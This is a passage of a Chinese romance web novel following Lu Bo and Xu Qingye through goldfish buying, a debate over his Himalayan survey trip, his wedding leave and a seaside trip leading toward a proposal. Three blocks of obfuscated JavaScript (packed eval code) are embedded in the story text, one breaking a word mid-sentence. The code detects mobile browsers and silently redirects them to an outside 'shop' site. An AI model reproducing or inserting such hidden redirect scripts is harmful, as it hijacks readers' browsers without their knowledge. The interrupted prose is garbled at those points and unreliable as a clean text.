他语气干脆道。 拎着一小袋金鱼走出花鸟店的时候,他身后两个顿在鱼缸前的孩子视线追随者他的背影消失在小路转角。 “看到了吗?等我长大了我也要这么爽快地买一堆金鱼回家。” 蹲在右侧鱼缸边的小胖感慨。 另一边略瘦的孩子收回羡慕的目光,口是心非地撇嘴道: “他才买几只而已。” “等我长大了,肯定比那个大叔还爽快,而且要买更多。” 路薄不知道他赶时间的动作成为了孩子们羡慕的话题内容,只知道他想赶快回到长椅边找许清也。 不得不承认,刚才石宇劝他参加喜马拉雅的考察项目,的确短暂影响了他的心情。 现在他只想赶紧回到许清也身边,握着她的手,确认她就陪在他身边。 路薄拎着鱼虾快步回到水产区的长椅边,远远就看见了弯着腰盯着两个大塑料袋里看的许清也。 他放轻脚步,绕了半圈,弯唇在她身边隔着两人位悄悄坐下。 菜市场人来人往,许清也似乎没有注意到有人坐下。 她嫌弃地拨开袋子里的黄瓜,欢欢喜喜地把她爱吃的小白菜挪到不会被其他蔬菜压住的位置。 路薄悄悄往她身边靠近了一点。 女孩似乎还是毫无所觉。 她抬头打量水产区的布置,低头清点袋子里的蔬菜,就是没有朝右边侧眸看一眼坐在她身边的人。 关于她的事情,他好像总是轻易就沉不住气。 路薄没了耐心等下去,正打算起身。 胳膊忽然挽上女孩柔软的小臂。 她身上混合着阳光和花香洗衣珠的味道神奇地一秒安抚了他其实有点烦躁的内心。 路薄转头垂眸看向身侧紧紧挽着他的女孩。 “我的演技怎么样?” “还以为我没发现你吧?” 许清也弯眸朝他笑,周边是来往嘈杂的人生,他却如此清晰地听见了自己的心跳声。 砰—砰——砰砰— 心脏摆脱了潮汐的定则,疯狂地跳动。 又一次,为她。 64. 不会再逃跑 其实路薄远远站在路口的时候许清也就看见他了。 这话有点废话了。 毕竟路薄的身高在北方城市也是蛮高的,那么一大只,想不看见也很难。更何况他还顶着那么一张优越的脸,还有他晒也晒不黑的冷白皮。 在阳光底下简直是耀眼的白。 开始只是无聊地等他过来找她,但人近了,许清也才发现他竟然没喊她,直接就在她身边坐下来了。 忽然被勾起了恶作剧的兴趣,她假装没发现他,专注地清点着菜。 但本来好笑的笑话如果说出来没人笑的话,讲笑话的人就会变得尴尬。 许清也现在就是这个状态。 只是跟他闹着玩,没想到路薄还是板着脸,就这么直勾勾盯着她的笑脸。 “就,跟你开个玩笑而已。” 她慢慢淡了笑,拖着他的胳膊起身。 嘴上掩饰尴尬,其实还是有点失落的。难得幼稚一回,无奈人家不接招。 “走吧走吧!” 许清也拉着路薄的胳膊低头,被袋子里蹦跶的金鱼吓了一跳。 “我们不是来这边……买水产的吗?” 她有点迟疑地瞄了那一小袋金鱼一眼又一眼,看路薄的眼神不自觉地奇怪起来。 在她印象里,金鱼应该不是用来吃的吧? 路薄不知道她的脑袋里都有些什么奇怪的想法,弯唇把透明的袋子平举到她面前,轻轻晃了晃道: “带回去养怎么样?” 因为他晃动指尖的动作,袋子里大半袋水摇晃起来,有几滴水险些溅出来,最终险险沿着袋缘回落。 袋子里的金鱼被晃动的水波惊扰,受惊地猛晃了一下漂亮的尾巴,扭头朝袋子的另一个方向游去。 许清也抬头,透过面前的明亮的阳光看清了这几只金鱼的品种。 就是街边小物钓最常见的那种品种,身形不是那种观赏性金鱼的样子,反而更像是鲫鱼之类的缩小版。要说有什么特别的,就是尾巴尖从橘红色渐变成纯白的颜色,看起来更灵动漂亮一点。 好像在哪也见过这种尾巴渐变色的金鱼来着。 许清也目光扫过装着手机的小挎包,想起来她今天出门没有带钥匙。 上次小物钓换来的丑丑的粉色金鱼挂坠,就被她顺手扣在钥匙上。 她其实还挺喜欢这种小小的金鱼的,只不过从来不敢养。 市场上有很多卖这种小金鱼的,她听人说通常买回家一周不到就都死光了,很难养的。 不过今天看到这个,许清也的第一反应不是担心鱼儿自己撑不住,而是担心这些小鱼跟芝士同处一室,将会引发一场“世界大战”。 “怎么突然买这个来养?” 许清也还没看够,路薄就已经收回手,两人在十字路口的红绿灯前站定,他动作自然地空出右手牵住她。 “看见就顺手买了两只。” 切。 许清也才不信他的顺手。 “你不是有芝士了吗?你这是要猫与鱼儿兼得?” 她打趣地问,没想到男人神秘地微微一笑,把那袋子小鱼递给了她。 “嗯,我已经有芝士了。” “这是买给你养的。” 绿灯亮了,许清也没有太多时间留来发呆,接过他手里的小鱼,被男人牵着快步过了马路。 站在他侧身后的两步,男人宽厚的肩膀比他被炫目的阳光映着的后脑勺更夺人视线。 许清也摸了摸空荡荡的包带。 几天前那颗粉红色的金鱼挂件也短暂地扣在过包带上。 她好像知道路薄为什么给她买这几只金鱼了。 许清也追上他的步子,抿唇问: “我要是养不好怎么办?” “听说……这种金鱼特别容易养死的。” 路薄发现她随着话语变得越来越小的步子,放慢步调配合她的速度。 偏头听完她越来越小的声音,用一种汇报科学实验数据的语气一板一眼道: “按可操作性来说,你目前已经把我和芝士养的很好了。” “许清也同志,现在还是没有信心养活几只金鱼吗?” 他说到最后,大概也是装不下去了,语气里带了点笑意。 许清也被他的话逗笑,点头赞成道: “那这几只小家伙还是比你跟芝士好养多了。” “那好吧,我就勉为其难的试一试。” 她嘴上说勉为其难,唇角的浅浅的酒窝却没有一秒钟消失的。 路薄挑眉,拦住她的目光追究道: “芝士的确是挺烦人的,不过我怎么不好养了?” 他垂眸配合她的视线,这个角度对视,许清也脑中莫名闪过几个暧昧的记忆碎片,脸一红,小声吐槽道: “怎么不一样了?” “猫跟主人一个样,一样''喂不饱''。” 路薄微楞一秒,原本是逗她玩,没想到女孩红着脸呢喃的话这么直白大胆。 他不自在地轻咳两声,低头凑到她耳边低声拜托: “那,就拜托许小姐慷慨一点了。” 他说完就牵着许清也手大步朝着小区大门的方向走,一路都是暖融融的阳光,暖意蒸腾得许清也的脸更加红润。 快走到家门口的时候,许清也低头看了一眼手里的金鱼,还是下定了决心。 遇见他的这段日子,她越来越多的学会表达自己心情。别人对她不同的看法和闲话好像也变得不那么重要了,不再盘踞在她说出每一句话之前,影响着她时时刻刻的想法。 现在,从来不相信自己足够幸运,能够去负担小动物生命的她, ——居然还养上了金鱼。 “到家了。” 钥匙转开,面前的男人拉开家门,转身提醒盯着他背影出神的她: “进去吧。” 许清也点点头,先一步进了玄关换鞋。 低头时候不免看见了他摆在外面的两双皮鞋。 路薄最近好像开始更多的穿起皮鞋了。鞋柜里留着他以前的几双登山鞋和运动鞋,从新旧痕迹上来看,他以前应该很少穿皮鞋才对。 常年出差的他,一直在跑地质院子不同考察项目的实地,当然是更多的穿运动鞋和登山鞋的。 “下周末,我们去商场给你挑两双新运动鞋吧?” 许清也换上柔软的居家拖鞋,忽然回头问。 路薄不知道她怎么忽然想起这个,愣了一瞬拒绝道: “不用了,我最近都不怎么穿运动鞋……。” 他的话尾还没落下,就听见许清也强硬的道: “不,一定要去。” 许清也还记得他书房里那几张考察队伍在不同地方拍下的大合影。 他虽然只带着浅浅的笑意,可许清也看得出来,他眼睛里的星星骗不了人。 路薄是喜欢实地考察的工作的。 上次离职时,小栗说,她好像变得更从容了。 许清也想,这都是路薄陪着她走过的路。 他也应该从容地去走他喜欢的路才对。 如果说要他因为那该死的不安感而抛弃自己真正喜欢的事业,她才会真的感到愧疚、心疼,和难以承受。 想清楚这些,她那点对他出远差的不舍也就变得微不足道了。 许清也抬头看他,一字一句地问道: “喜马拉雅的项目,你一定会去的,对吧?” “你怎么知道项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273849|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目……”路薄错愕地喃喃,片刻之间就想清了来源。 “是石宇跟你说的吧?” 他毫不怀疑会是其他人。 “我不会去的。” 路薄顺手关上门,神色恢复自然地放下袋子换鞋。 似乎是猜到许清也还会再劝,他放缓语气朝她解释: “这个项目对我来说的吸引力并不大,前两年跟了不少外出勘测的项目组,我打算休息一阵子。” 许清也还站在玄关处不肯走。 她在仔细研究路薄这两句话。 总觉得他是在骗她。以前分明恨不得全年跟着勘测队的人,怎么忽然就说很累,想要休息一阵子呢? 路薄原本已经走到沙发边,回头看见女孩倔强的背影,无奈地叹了口气,返回去牵她。 “何况……” 他吊人胃口地起了个头,半揽着许清也往小沙发边走。许清也被他的话勾起好奇,注意力全集中在耳边,凝神仔细听着。 “何况这个项目至少要半年。” 路薄耍赖地把下巴搁在她的肩膀上,说话间呼出的热气扑在她耳后白皙的皮肤上,细碎的痒意闹得她忍不住缩了肩膀。 “我们才结婚没多久,小也,你真的舍得我一去西藏就是那么久吗?” 他得寸进尺地在她颈窝埋了埋,语气有点刻意的低落,似乎想要勾起她的歉疚。 然而许清也深呼了口气,伸出食指挪开了男人黏在她肩上的脑袋。 看吧,这才是真正的原因。 她一点也不会因为他拙略的演技的而上当。 许清也不像说着说着就往玩笑的方向走了,她挣开路薄的手,快步在沙发一角板正地坐了下来。 伸手拍了拍身边的位置,她抬头示意路薄也跟着坐下来。 男人无奈地合拢掌心,像配合小孩子扮家家酒一样乖乖地在她指示的位置坐下来。 “路先生。” 许清也微微侧身,严肃了神色。 “我希望你再认真考虑考虑这个项目。我不相信石宇会在这种事上骗我,他说你明明等了这个机会很久,但现在却打算拱手让人。” “怎么至于说成是拱手让人了?” 他语气带了笑,解释道:“我本来也只是程教授属意的第一人选,我不去,这个项目原本就应该会是其他人的。” “小也,这是你们太偏心我的视角而已……” “路先生!” 许清也一巴掌打在他的手背上,打断他的话。力道不小,拍出一小片红印。 “我们在讨论正事,拜托你态度严肃一点!” 路薄的态度很坚决。 越是这样试图玩笑,越是不像他。反而证明大概是谁说都无法左右他的决定了。 关于这个项目,许清也不希望他将来有一丁半点的后悔。 她不知道该怎么劝动他,急得眼角泛红,恨不能有绝对的武力值直接压制他变卦。 “路薄。” 许清也最后只能这样叫着他的名字,沉默半晌,才微微干哑着道: “我不希望你后悔。将来你想起这件事,也许不会后悔,可总归是会有点遗憾的吧?” “如果是因为我,我不要你有这个遗憾。” 那瞬间,许清也看着他眸中波动难懂的情绪,忽然觉得不需要更多的确认。 他书房里那本批注语气熟悉的《小王子》、他珍藏的叶脉书签,还有请她吃的芝士小蛋糕和冰牛奶…… 世上不会有第三个人知道她跟国王先生的秘密了。 “我会等你的。”她抬眸看向路薄,认真地承诺。 “半年也好,一年也好。” “我不会再逃跑了,”国王先生。 65. 婚假 许清也不知道这算是劝成功了没有。 她含在眼中的雾气最终还是没有落下来,眼泪才刚刚逃出眼眶,就被男人珍重的吻挡住去路。 额间相抵,鼻尖亲昵的摩擦好像比热烈的轻吻更让她心动。许清也被“男狐狸精”迷惑了心智,还是被路薄给转移了注意力。 最后的最后,她还是懒懒地躺过了阳光温柔的周末。 隔天是周一。 已经很久不用早起打卡上班的许清也难得起了个大早,洗漱完就一头扎进衣帽间给他搭配领带。 虽然这差事一开始是路薄软磨硬泡求来的,久而久之,她也来了兴致。 不过这次她大多数时候还是会提早一天给他搭配好,杜绝被打扰清眠的可能性。今天特地起这么早,为的就是不刻意地在他出门前问个准话。 在她不懈的偷瞄下,清晨,餍足的路先生一睁眼就看见自家老婆脑袋枕着交叠的手臂,顿在窗边看着他。 “怎么不多睡会儿?” 这一幕让他有点意外,具体表现在他眼神惺忪地望着她怔了好几秒,才面色如常地起身洗漱。 严格管理情绪和面部表情多年的路先生基本上还是那副波澜不惊的表情,不过钻研《解读路先生相同表情的一百种方法》多个月的许清也已经能熟练地从他细微的表情动作里察觉他真正的情绪了。 比如他刚才醒过来的时候靠窗那边的左右下意识握起了两秒。 可能是一大早被她的完美的脸蛋给惊讶到了。 路薄还没洗漱完,就听到许清也在房间里喊: “今天要穿的衣服放在床尾啦,我去煮个面做早饭怎么样?” 异常,非常的异常。 直到幸福地吃完了许清也煮的“健康面”(超绝清淡版),路薄还是总觉得有点不对劲。 虽然平常许清也的早饭大多变成了早午饭,不过鉴于不吃早饭对胃不好,路薄出门前总是会给她做一份早饭闷在锅里,好让她一起床就能感觉热一热吃到早饭。 至于她主动早起做早饭,还真的是头一回。 这种淡淡异常的感觉一直持续到他出门前,终于得到正确解。 路薄的大手握在门把手上,正要开门,下意识回头一眼,许清也果然亦步亦趋地跟着他到了门口,完全是一副殷切的样子,那眼神可以说是眼巴巴地望着他。 杏眼含波,好像有千言万语要传达。 路薄毫无抵抗地心软成了一片。 抱着试探地心理,他松开按到一本的门把手,抿唇转身正对她。 “是不是觉得忘了点什么?” “嗯嗯嗯!” 许清也疯狂点头。 路薄望着女孩一啄一啄的小脸,唇角弯起愉悦的弧度。 他觉得许清也简直太可爱了,早安吻而已,其实直说就好了。 “就……”她好像有点窘迫地说不出口。 男人纯纯欲动的食指已经迫不及待地要伸手钻出来,直直朝着脸颊边指过去,行到半路,又转了个弯朝着唇角行进。 “就……想问问你项目的事情决定了吗?” 男人快抵到唇边的指尖再次转了个弯,一波三折,回落到左手的公文包上。 “决定了吗?” 许清也显然是真的关心。 刚才他主动转身的时候,她头一次觉得路薄这么有眼色,简直一步进化到了接近“解语花”的程度。 将心比心,她一边觉得再三干涉他的工作不好,一边又怕他错失好机会,从他起床开始纠结到现在,差点没能把想问的问出来。 轮流捏着自己背在身后的指尖,直到指尖全都被捏的通红,还是不知道怎么开口。 好在这下路薄自己主动提了,她也就顺坡直下,一股脑地劝道: “石宇跟我说过了,我觉得这个项目你应该也是想去的,何况机会这么难得,还是去吧?” 许清也的目光注意到他忽然指过去的公文包,眸光一亮,高兴地摇着他的手臂问道: “这里面是申请表吗?你已经把申请表都填好了吗?” 她高兴地太真切,路薄被她的情绪感染,一大早就飘飘呼呼的情绪直接吹成了透明泡泡,摇摇晃晃飞上了天。 “我去这个项目,你就这么高兴吗?” 他低头望着女孩兴奋的侧脸,语气单纯地是好奇。 路薄其实不明白,她为什么偏偏在意这个项目。 许清也没想那么多,径直点了点头。 “高兴啊。” 石宇都说,这次机会他想跟去打下手都没机会呢,何况路薄得到的是当领队的机会。 她抬头看身边男人的轮廓精致的侧脸,想象了一秒他穿雪地登山服拿着探测设备的样子。 有点心空。 路薄拎着公文包的指节紧了紧。 包里没有什么所谓的申请表,那玩意程教授转发到他的邮箱,他匆匆看了一眼就再也没打开过。 各大酒店的婚宴预定价目倒是有一大叠。 看来又要推迟了。 他弯唇点了点头,朝面前的女孩肯定道: “那就去吧。” 没办法。 既然她说公文包里是填好的申请表,那就是吧。 ——— 路薄不是个喜欢拖延的人。 相应的,他从小脾气就被说是倔得像头牛,做了决定从来不轻易更改。 这点地质院的同事们也都知道。 所以石宇在菜市场碰到他和许清也的时候,与其说他是死马当活马医地“告状”,倒不如说只是发个牢骚。 虽然说拜托许清也一块劝劝他,但是从来没寄希望于他能就这么改变想法。 拖着周一早晨萎靡的精神,石宇把纸质报告放在路薄桌上,眼皮打架地转身。 目光中划过几个可疑的大字,他猛地精神一震。 “路哥!” 他忽然提高声音喊了一句。 路薄被他的鬼叫惹得皱了眉,头也没抬地问: “还有什么事?没事不要在办公室大呼小叫。” 石宇这才发现左右明显又不明显的一双双散发渴望八卦气息的眼睛。 不好意思地左右瞄了一眼,他低头放轻音量问: “路哥,这个是项目申请表吧?” “你终于改变主意打算去了?” 石宇现在那完全就是一肚子自家爱豆终于迷途知返开始筹备超豪华阵容新专的心情。声音小归小,语气不兴奋、音调不高,那是不可能的。 距离近,路薄被他的土拨鼠音调刺激了一下,终于抬头分给了他嫌弃的一眼。 “如果你认得准简单的中国字,那应该是吧。” 冷冷地回答了一句,他就接着埋入忙碌的准备工作中。 考察队出发的日子就在下周,培训加上正式上高原,探测工作前前后后加在一起,最顺利大概也要五个月左右。 路薄不是习惯拖延的人,既然决定要做,那就要做到完美。 才五个多月的时间,某个说好要等他的人,要是敢真的再逃跑,那她就真的完蛋了。 因为他不会再慷慨地放走她了。 ** 勘测珠穆朗玛峰地区冰川地质情况的项目苦归苦了点,不可不谓是一块肥肉。 不过也不是一块谁都能盯一盯的肥肉。 本来项目的领队找的是程教授。可程教授年纪上来了,身体不太吃得消,就推荐了得力下属——路薄。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283455|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这机会路薄不想要,其实暗戳戳有想法的人不在少数。 但,仅仅一个周末回来。路薄就光速向程教授交了项目申请书。 盯着“肥肉”的人还没回过神来,项目组那边就已经同样光速地敲定下来了人选。 接下来近一周的筹备工作路薄可谓是废寝忘食。 如果不是记得家里还有许清也,他大概是打算住在地质院里了。 许清也不知道这个项目光是筹备工作就那么累人了。她一边担心路薄的身体,一边偶尔后悔几秒钟自己的积极促成。 原本还有点闲话的那么几个同事,看路薄这副不要命工作的样子,也是彻底闭上了嘴。 要不说人家能是程教授的得力下属呢? 这有命,他是真为项目拼啊。 至于路薄本人,对于周围人各不相同的想法,他不知道也不关心。 为项目尽全力是应该的,他从来不会区别对待项目。对待此前的每一次项目,他也都是一样详尽地做准备工作。 不过养生也是应该的,他一向重视健康,还不至于为了项目拼命。 尽全力就好。 这次没日没夜的工作,还是有私心的。 周四傍晚下班前,路薄忽然把石宇叫来,给了他一张周五需要转交给代班的游工程师的工作清单。 石宇傻站在他办公桌边上,还没领悟他这么做的意思。 “路哥,你明天不来上班吗?” “嗯。” 距离下班时间还有五分钟,路薄已经开始收拾东西。对他多此一举的提问,还是好心情地给了回应。 “可是,明天不是周五吗?” 这小子不知道哪根筋打结了,还以为路薄是搞错了星期日期。 桌面上东西差不多收拾完了,准时收到了民宿的确认预定短信,路薄这会儿心情不错,耐心地解释道: “嗯,我请假了。” 石宇吓了一跳,以为他关于项目的事又要出什么幺蛾子。 这趟去西藏,石宇也会跟过去参加后方的工作,光听见他这平地一声雷的发言,就连忙磕磕巴巴地试探: “那个,路哥。” “你看哈,下周项目组就要集合出发了,后面有半封闭的培训,紧接着就要上高原。这节骨眼上,应该有点忙不过来吧?” 他说的没错,这段时间路薄一边工作到没时间吃饭,熬夜查阅相关论文资料的同时还要浏览各大主流社交软件的经验帖,又是做攻略,又是planABC,虽然中间参杂着许多他不理解的方案,但是鉴于大众的认可度,他还是纳入了考虑当中。 综合算下来,的确忙到不行。 但也只能这样了。 有些事能等,但有些事,就算许清也愿意,他不打算让她等了。得加快脚步才行。 于是路薄挑眉点了点头,示意面前勇敢的小伙子,请接着说。 似乎得到眼神激励,石宇抿了抿干涩的嘴角,用一种循循善诱地语气接着分析,随后得出结论: “所以吧,就是路哥……你现在请假是不是有点不太好?” 话出口的同时,一股逼人的寒气就从四面八方包围了他。 石宇偷偷瞄了一眼空调温度。 25度,明明不是很冷来着。 一阵短暂的沉默后,他又作死地补充折问: “而且路哥,你前阵子不是刚请过假吗?这回程教授真准假了?” 接着,他得到了句简短,但让他生出一股扇死自己冲动的回答。 “程教授应该不会不准这种假吧?” 路薄浑身散发着一股阴恻恻的凉气,转着桌上的铅笔漫不经心地道: “我请的,是婚假。” 66. 老土罗曼故事 周五,忙碌了一周天气画册内容的许师傅照例睡到了太阳晒屁股的点。 倒春寒过去,江城的雨季好像也跟着彻底结束了。 一整周都被暖融融的阳光叫醒,许清也在半束刺眼的阳光中醒来,心情跟放晴的江城一样。一片轻松的晴朗。 芝士不知道什么时候偷偷溜进了房间,趴在被阳光簇拥的床尾懒洋洋地舔着粉爪子。 冬天好像彻底过去了。 许清也迷迷糊糊地竟然觉得这被子有点厚了,暖烘烘的被窝蒸腾的热意让她有点热得慌。 下意识撑着坐起来,人还没坐起来,一使劲,手底下就传来一声闷哼。 被吓了一跳,许清也手上劲一松,跌回原位,又重重砸在男人的手臂上。 “路薄?” 她瞬间吓清醒了,楞楞地侧头看着男人近在咫尺的脸。 脑子里飞快地确认了两遍今天还是周五,然后立马坐起身拉着他的胳膊拽人起床。 “你怎么还没去上班啊?” “完了,这肯定已经迟到了!” 对打卡迟到的恐惧深深刻在她脑子里,基于她每次迟到必被捉住的坏运气,许清也第一个想法就是这下完了,全勤肯定泡汤了。 路薄很快就要出发去西藏了,好机会肯定人人都盯着,这节骨眼上被人抓住上班迟到,虽然不至于有什么变动,但总归是落人口舌。 许清也这厢着急地拉着男人的胳膊。 可惜力量悬殊,路薄自己没有起来的意思,她怎么拉好像也拉不起来。 再一看男人的表情。一副似笑非笑的样子,双眸憋着笑意,一副看热闹的欠揍样子。 这分明是早就醒了。 她顿时泄力,丢开他的手臂自己翻身起了床。 既然路薄自己都不在乎,她催也没用。反正迟到都已经成定局了,着急也没意思。 许清也偷偷撇嘴的小表情都被懒洋洋躺在原处的男人尽收眼底。 他弯唇轻按了按刚才被她称的发疼的胸膛,只觉得真想问问老天是怎么让她变得这么可爱的。 即便是重复简单的生活,每一天好像也能从日常中得到惊喜。 怎么看怎么可爱的许清也已经被他捉到怀里了。 他大概是再看一百年也看不厌。 女孩抬手一边扎着松松的丸子头,一边往门口走。 虽然心里说着不管他了,行动上却还是很诚实地提醒他: “赶紧起来吃饭啦,下午你还是早点去吧?” 几缕碎发靠在鬓侧,松松散散靠在她白皙的脸颊上。许清也嫌碎发碍人,随手拨到耳后,完完全全露出她饱满可爱的额头和优越的发际线。 这样近乎大光明的发型把视觉中心上移了,显得她那双灵动水润的鹿眼更动人。 整个人就像森林里某只才睡饱的小鹿,天然有一种香软好欺负的气质。莫名地勾起路薄性格中隐藏已久的顽劣因子。 他故意唱反调,双臂交叠着垫在脑后,却也实话实说地道: “下午也不去了。” 许清也知道他说话气人,但下意识地信任着他的每一句话。 这么个工作狂能忽然说不去上班,那肯定是有事。 想起他这一周几乎天天熬夜关在书房加班,许清也有时候抱着画板在床上等他,画着画着就睡着了。 一觉醒来画板被搁在床头,连他几点回了房间,又是几点出的门,一项也不知道。 基于他这周过分的工作量,她第一个想法就是该不会病了吧? 许清也蹬掉家居鞋,单脚膝盖撑在床上,靠过身去贴他的额头。试图比对两人额头的温度。 额头是一遍清凉的温度,甚至还没她的额头烫,倒是他的鼻息打在她脸侧,越发炙热。 “没发烧啊?” 她撤开半个掌心的距离,眉心轻蹙地追问: “是不是哪里不舒服啊?” 女孩白皙的脸颊靠的那么近,红润的樱唇吐出来的字明明很简单。路薄暗着眸光盯着她的唇,却好像没办法拼凑出语义。 半天才转过神她的意思,男人的心霎时间又软成一团。 分明高中的时候还像颗跳跳糖,总是要调皮地给亲近的人一点“厉害”尝尝,才肯让忍受完她的厉害还留下来的人尝到一点甜。 现在却像颗太妃糖,坚硬的外表是甜,越尝到后调,才能发现流心中柔软至极的部分。 那点幼稚唱反调的心思忽然让他觉得有点抱歉。 男人宽大手掌半揽在许清也的腰后,抬头在她脸颊上落下极温柔的一吻。 “我没事。” 他隐约带着点沙哑的声音在耳畔响起,许清也敏锐地察觉到,捧着他的脸“霸道”地问: “声音都有点哑了,还说没事?” 满心扑在他的健康上,许清也没顾上自己现在是个什么姿势,十分暧昧地靠在他怀里。 呼吸间胸前柔软的触感跟着起伏,无意地在原野上勾起点点火星。 她松开捧着男人脸的纤手,撑着枕头想要起身。 动作间不知道哪里偏差了几毫米,男人的声音瞬间变得更沙哑低沉几度。 “刚才是没事。”他抬眸看着许清也忽然羞窘起来的眼神,慢悠悠地补充道: “你要是再动,可能就有事了。” ——— 当然最终这场战火还是很快平息了。 毕竟好不容易请到了周五的假期,路薄计划的行程安排还很多,不止是要窝在床上度过那么简单。 磨蹭一阵子,鉴于他们起的比较晚,为了节省时间,早饭是在车上解决的。 许清也一边啃着炸油条,一边还趁着红绿灯的时间伸手递喂给驾驶座的男人两口。 这早餐是三中门口那家的味道,他大概很早就起床去买了。刚才大概只是回笼觉醒来。 她捧着味道熟悉的豆浆,歪着脑袋盯着路薄的侧脸,完全想不出来一丁半点他起床的记忆。不得不承认,自己睡眠质量的确不错。 “我们这是要去哪?” 许清也看着越来越陌生的路牌,有点开始认不清路了。 “临海市。” 路薄没打算瞒她,临海市离江城很近,他们现在出发,半下午就能到。 那里天气大概比江城还要明媚一点,要是不提早告诉许清也,她防晒涂少了大概得怨他。 “临海市?怎么突然想到去那……”许清也的疑问只持续了一秒,接着很快后悔起来没有好好收拾行李,列着清单后悔: “沙滩鞋、泳衣、度假帽……还有上次买的那条波西米亚风的裙子。” “你怎么不早说啊。”她越列越沮丧,感觉什么都忘了带,“害得我一件该带的都没带。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299734|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >看来就算说了也还是难逃怨怪。 路薄无奈地笑了笑,反驳道: “谁说一件该带的都没带?最重要的你不是已经带上了吗?” 许清也好奇地转头。 只看见男人挑眉弯唇,指节抬了抬,悄悄指向自己。 她忍不住笑了出来,笑骂他“油嘴滑舌”。 余光瞥见女孩的笑颜,路薄承认自己不得不认真思考和钻研一下某些恋爱小组和禁言贴的过来之谈。 看来某些学习的确卓有成效。 他对接下来的旅程越发有信心了。 目光下意识划过驾驶座中间的储物箱,那里放着一颗闪闪发亮的星星。 一颗他迫不及待想要送给她的星星。 车里放着轻松的流行老歌,许清也跟着节奏轻轻哼唱起来。 她唱歌的声线跟说话时有点不一样,是那种比较故事感的女声。路薄也是第一次听她唱歌,偏头看见女孩随着轻轻摇晃的身体,心情也跟着飞驰在长道上。 临海市顾名思义,当然是临着大海的城市。 还没开到市区,沿途已经看见了一小段海滩。 许清也趴在车窗边往外看,一朵朵海浪舒卷中拍打着岩壁,带着一种柔软的力量美。 她想起自己好像跟尹女士聊起过关于婚姻的话题。 那时候她没想过自己会结婚,不过一定要幻想一个关于爱情的场景的话,她跟尹女士说过,她最希望她未来的恋人在海边跟她求婚。 那时候半是认真半是信口胡诹,当然是怎么夸张怎么来。 刚看完几部韩剧,她回想着那些弹幕大叫浪漫的画面,随口说道: “什么烛光晚餐啊、游乐园包场、还有烟花秀!都是标配。” 思绪落到这里,许清也忽然回神地一哆嗦。 不会真是她想的那样吧? 那时候随口说的画面,阵仗大到让她光是想想,浑身都要起鸡皮疙瘩了。 现在回想,浪漫归浪漫,还是留给影视剧好了。 她心里想着事,看着海浪,时不时还转头看一眼专心开车的路薄。 总觉得他跟尹女士关系没好到那份上,尹女士都不一定还记得这些话,应该不至于吧? 许清也心里努力回想着这几天有没有什么蛛丝马迹可循,可惜一点也没从记忆中翻出来。 踌躇了半天,害怕尴尬的心态还是占了上风。 她装作不经意地刷着手机,像是偶然感慨地道: “现在人还真是没新意,你看这求婚又是烛光晚餐、游乐园包场什么的几件套。” 故意把视频声音外放,网红bgm的声音在车里响起,配着营销号机械的吐嘈声,清晰地传入路薄耳中。 “我觉得这么大场面完全没必要,”许清也翻着视频底下的评论,实则注意力都在路薄身上,试探地求得赞同,“是吧?” 男人握着方向盘的指尖僵硬了一瞬,勉强维持着镇定,附和道: “嗯。” 他一边掩饰着不镇定的内心,不免庆幸自己没有全部听信身边人的建议还有网络资料。 然而下一秒,更戳心的话精准踩着落下。 “哦,还有烟花秀。” 许清也皱着小脸,表现得比刚才还要嫌弃,转头问他: “那种藏着名字缩写的烟花秀最老土了,你觉得呢?” 67. 私奔 去临海市车程只有两个小时,距离出发时间三小时后,许清也却还坐在副驾位置上兜风。 又一次转回眼熟的路牌边,许清也终于忍不住怀疑地问: “我们现在……这到底是打算去哪?” “不是说已经订好行程了吗?” 订是订好了,可惜计划临时有变。 路薄从后视镜瞥见女孩满眼怀疑的脸,无声地叹了口气。 他显然也发现兜兜转转又绕了回来,不过面上仍然是一副早有把握的样子,点头应道: “嗯,行程已经订好了。” 导航里都是陌生的地标,路薄的攻略做得再详细,也没有预料过会出现半路中PlanABC同时阵亡的情况。 悄悄在休息区便利店里取消预约已经是忙里偷空的补救了,根本没有时间偷偷再去重新查一份攻略。 许清也半信半疑地掏出手机打算临时抱佛脚,自己做做功课。 早听同事们抱怨过出门旅行时男朋友什么功课也不做的事情,原本以为路薄这样一板一眼又喜欢提前计划的人也许会有什么不一样,现在看… 她划着旅行经验贴,随口问道: “那我们现在先去哪啊?” 下午的行程原本是先去海滨的游乐园。 至于现在,肯定是不能如实说出口了。 路薄沉默半晌,在岔路口调转方向道: “先去民宿,把行李放下我们就出门。” ——— 临海市是海滨城市,临海附近还有不少小山丘。 他们住的地方不算很靠近海边,但地势比较高,拉开窗帘还是一眼就能看见蔚蓝一片的大海。 